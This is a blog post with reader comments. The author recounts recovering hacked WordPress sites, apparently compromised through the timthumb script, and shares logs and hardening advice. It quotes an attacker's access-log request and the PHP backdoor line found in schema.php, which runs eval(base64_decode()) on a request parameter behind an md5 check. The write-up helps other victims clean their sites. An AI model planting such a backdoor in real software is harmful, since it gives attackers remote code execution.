hacked, the followup

(I am getting a lot of hits on this post from google. If you came here because you think your wordpress install has been hacked as well, make sure you also read Hacked! and Hacked, Again!)

I’ve done nearly all the design updates I’m going to do to the blog for now although I have a plenty large To Do list left. Sadly it’s an almost entirely different To Do list than I had before this mess happened.

This is my technical followup to what happened; you can skip it if you don’t care about the details. It is long (of course). I’ll get back to talking about chickens and food soon enough.

We ended yesterday with a complete reinstall of all the files on all my web sites, including a brand new version of WordPress and a new database for this blog. In retrospect, this is what I should have done straight off on monday. The #1 thing I have learned from this is when in doubt, assume it is WordPress and nuke it from space.

Notes on WordPress Security

I’m 99% sure that my hacker got into WordPress via a script called timthumb. This is a known WordPress vector for abuse — tons of themes and plugins use this script. In my case it was my theme, Thesis, that used it. This timthumb page has a lot of technical detail about why it is a problem, although the phrase “allowing hackers to upload and execute arbitrary PHP code” generally says it all.

There is a WordPress plugin called Timthumb Vulnerability Scanner that will check your entire WordPress installation for old versions of timthumb and made sure you are not subject to this hack. Note that I was using a current version of a respected paid theme and the most recent version of WordPress and the timthumb vulnerability was still there.

I also use the wp-security plugin for general WordPress security, which encourages you to make some of the more obvious changes to wordpress to keep hackers out (removing the admin account, renaming your database tables, etc.). I admit I had not implemented everything that wp-security recommended, because I was lazy. But even if I had it would not have helped with the timthumb hack.

The makers of wp-security have a web site called Website Defender that does much more in-depth security testing of your installation. I hadn’t gotten around to signing up for or installing the Website Defender tools (it requires some PHP to be placed on your web site, which, frankly, worried me right there). But a few people on twitter recommended it, so once I got my new software installed I set it up, and it looks MUCH more comprehensive for protecting WordPress. I kind of consider it anti-virus software for WordPress. They can keep track of new vulnerabilities so I don’t have to.

Lurking Horror in Non-Static Static HTML

I had been worried yesterday that my hacker was somehow able to modify files in my static HTML sites (my www.lauralemay.com and work.lauralemay.com sites) from the hacked WordPress blog site. This led me to believe that I actually had a worse hacker than just a web-based script-kiddie. It turns out I was wrong. PHP was the problem, and I had PHP everywhere that I just didn’t know about or wasn’t paying attention to. This was my fault for not being more diligent.

In the case of my www site, I once ran Movable Type there, and although I had turned off the itself software years ago I still had the files sitting around in the directory and accessible from the web. Tons of PHP floating around in there. This was dumb of me to keep around — especially since it was a very old version of Movable Type.

I was sure that my work site was safe — I wrote all that myself, in plain HTML and CSS. And then buried deep in a sub-sub-sub directory I found one PHP file that Dreamweaver of all things had written as part of “design notes” for the site. I know there was one time I used DreamWeaver for the site but it was years ago and I thought I had long since deleted all those extra notes directories. ONE FILE I didn’t even know was there, but the hacker scripts found it, and that was all it took. (Fortunately all I had to do was trash that one file and that was the end of it.)

I See You

While I was sitting around waiting for stuff to install and reimport and whatnot I got to thinking that maybe there were traces of my hacker in my access and error logs. Fortunately this is not a high-traffic web site (hah), so I could grep out typical requests and page through the rest of my logs without having to look at a zillion lines. A whole lot of lines like this one immediately stood out:

46.37.184.254 - - [04/Jan/2012:03:10:38 -0800] "GET /wp-admin/includes/schema.php?
img_id=1f3870be274f6c49b3e31a0c6728957f&mod_content=ZWNobyAiZ29vZ2xlZWVlIjs= 
HTTP/1.0" 301 572 "http://facebook.com/" "Mozilla/4.0 (compatible; MSIE 8.0; 
Windows NT 6.1; Win64; x64; Trident/4.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 
3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; Tablet PC 2.0; .NET4.0C)" 

I know of no legitimate reason for anyone to request anything inside wp-admin unless they are actually administering the site. There’s especially no reason to request schema.php, and no reason at all to give it arguments (img_id and mod_content). I had a copy of my hacked site on my local machine, and I took a look at schema.php. Bingo. Right at the top of the file, above the comments:

<?php if((md5($_REQUEST["img_id"]) == "ae6d32585ecc4d33cb8cd68a047d8434")
&& isset($_REQUEST["mod_content"])) { eval(base64_decode($_REQUEST
["mod_content"])); exit(); } ?>

eval(base64_decode you say? I don’t think so. I searched my entire blog site, and found about ten PHP files all over the place that had these lines scribbled at the start. Then I looked through my log files and there was my hacker, always at the same IP address, always pinging those same hacked files.

None of this actually really mattered, since I had trashed all the hacked filed when I reinstalled WordPress. But one of the first things I did when my new site was set up was to block that IP address. And today as I watch my logs roll by I am pleased to see client denied by server configuration coming up again and again.

Feeeelings

I’m not feeling the least bit confident about web software right now, and thinking about the security problems of complex web applications in general is making me break out in hives. It seems that the more complex a web app is the more likely it is that someone out there is going to fuck with it, and I just don’t have the time for that. I went to shared hosting precisely because I was tired of being my own sys admin. I can do it, but I’m not all that good at it, and I don’t want to. I want to write.

On the other hand, the idea of giving up all the administration and putting all my stuff in the cloud also doesn’t give me happy warm fuzzies. Because of course in that situation the cloudmasters are hadooping away on everything I do and generating all sorts of valuable advertising thneeds.

Either way it seems I’m eventually going to be pwned by someone.

grumble.

9 thoughts on “hacked, the followup

  1. Remotely executable code is always problematic (risky), but I think it’s fairly reasonable to run a webserver which does not run *any* dynamic code. Since your static web sites weren’t supposed to have any PHP, it’d be reasonable to disable PHP etc. on them. If the web server itself could then be fairly secure (honestly, I haven’t looked recently to see if anyone has tried to build a secure web server in the style of the secure FTP servers that are available, where the goal is to audit the code and take advantage of reduced privilege as much as possible). Actually, just running the web server as a user who doesn’t have access to write to anything except its own log files should help quite a bit.

    Doesn’t help for dynamic code like WordPress, of course. I’d be tempted to suggest that the generated site be served as above, with the WordPress code running on a separate web server which is not normally accessible from the outside world — for instance, on a port which is only listening to local connections, and use an SSH tunnel to reach it. That helps if the dynamic code is only on *generation* and not on *retrieval*, i.e. with something like the “really static” plug-in.

    Anyway … glad you recovered from this, and thanks for posting about it! I don’t think there’s been enough mainstream attention to this type of vulnerability.

  2. Thanks for the info on this. I suffered the same attack a few days later, starting on Jan. 7, with the same “payday” and “personal creations” SEO and everything. Your wrap-up has been very helpful in eradicating it (knock on wood).

  3. Laura,
    The same thing is happening to me now, as we speak. The attacks are even coming from the same IP address you pasted above! The only difference is that I don’t have timthumb anywhere in my site(s), so they must have used a different vector for inserting the malicious PHP code. The hacker actually managed to plant a PHP shell script (boff) deep inside my theme directories. Who knows what else they did after that.

    One thing I noticed is that we’re both hosted by DreamHost. I remember they recently sent out an email stating that some of our FTP accounts have been compromised. I wonder if this has anything to do with that. (I changed my FTP password immediately, but it was still plenty of time for someone to plant a malicious script). Part of me also thinks that the DreamHost server itself might be infected with something.

    I think I’ve scrubbed all the badness from my PHP and .htaccess files… we’ll see what else the hackers have up their sleeve.

  4. I know this isn’t the subject of your blog, but thank you so much for posting this. I am dealing with this same malicious hack for a client right now. Mine was advertising for Cialis, but still. So frustrating. It turns out wordpress is actually a goldmine of vulnerability for hackers, because so many people use it, many with limited web security experience. I’m definitely learning a lot myself.

    One thing I was wondering to stop this besides chmoding the .htaccess file, is to put a new rule in the htaccess file itself denying access to the common.php file. Of course you have to do this in conjunction with reducing access to the htaccess file. There is really no reason for anyone to have write access to this file in wordpress other then the system administrator that I am aware of. If I’m wrong about this, please correct me.

    order allow,deny
    deny from all

  5. @Ben: I apologize for not approving your comment earlier, I lost track of my moderation queue. FWIW I found that changing to .htaccess in any way made no difference at all because so many other files in WordPress were compromised that anything I did would get rewritten. You need a new wordpress install.

    @Dmitry, FPMurphy: I am indeed on Dreamhost, but I have heard from a LOT of people who have this same breakin who are on other hosting providers. The problem is definitely in WordPress. The issue with Dreamhost specifically is that they give you easy access to a WordPress installation but then zero guidance at all toward securing it, or any sort of hint that the wordpress install you have might be compromised. I like Dreamhost a lot but I think they could do a lot better than “here is this inherently insecure software, and you’re on your own.”

  6. WordPress is a remote shell with a blog application. The two best things to keep WordPress secure are keeping it updated and not using use all of those third party plugins. The plugins are not subject to the rigorous testing that the core WordPress is, and therefore have a higher potential to allow unauthorized access and information disclosure. Additionally, as I assume you are on a shared hosting platform (and for those that are), if one account is compromised, it is likely that multiple accounts are compromised. Because of the WordPress is installed, /home/$USERNAME/public_html/config.php is world readable, meaning, anyone with shell access can view the file, and obtain your database password (this path applies to cPanel, though the same principle can be applied to Webmin, Helm, or WebsitePannel environments).

    Also, PHP guys like chmod 777. As a Hacker I love PHP guys, as a sysadmin PHP guys are my worst nightmare. There is never a reason to chmod 777 a directory. “But what about… ?” Seriously, you can not make a valid argument for allowing the world write access to a directory. Ever.

  7. Laura,

    I had something similar happen earlier this year (perhaps even about the same time as you experienced your difficulties). It turned out that the hacker guessed my FTP password and then used FTP to compromise the site and my WordPress install. If you haven’t changed your FTP password, that’s the way they’ve been getting in.

  8. Thanks for posting in such detail about these intrusions. Thanks to this post, I was able to easily find and remove the infected files from my site. Same exact thing, down to the HTTP request. I can only hope the original attack vector was indeed TimThumb, which I did have tucked away in an unused theme, but never thought about. Now of course I realize that it doesn’t need to be active to be dangerous. Duh.

Comments are closed.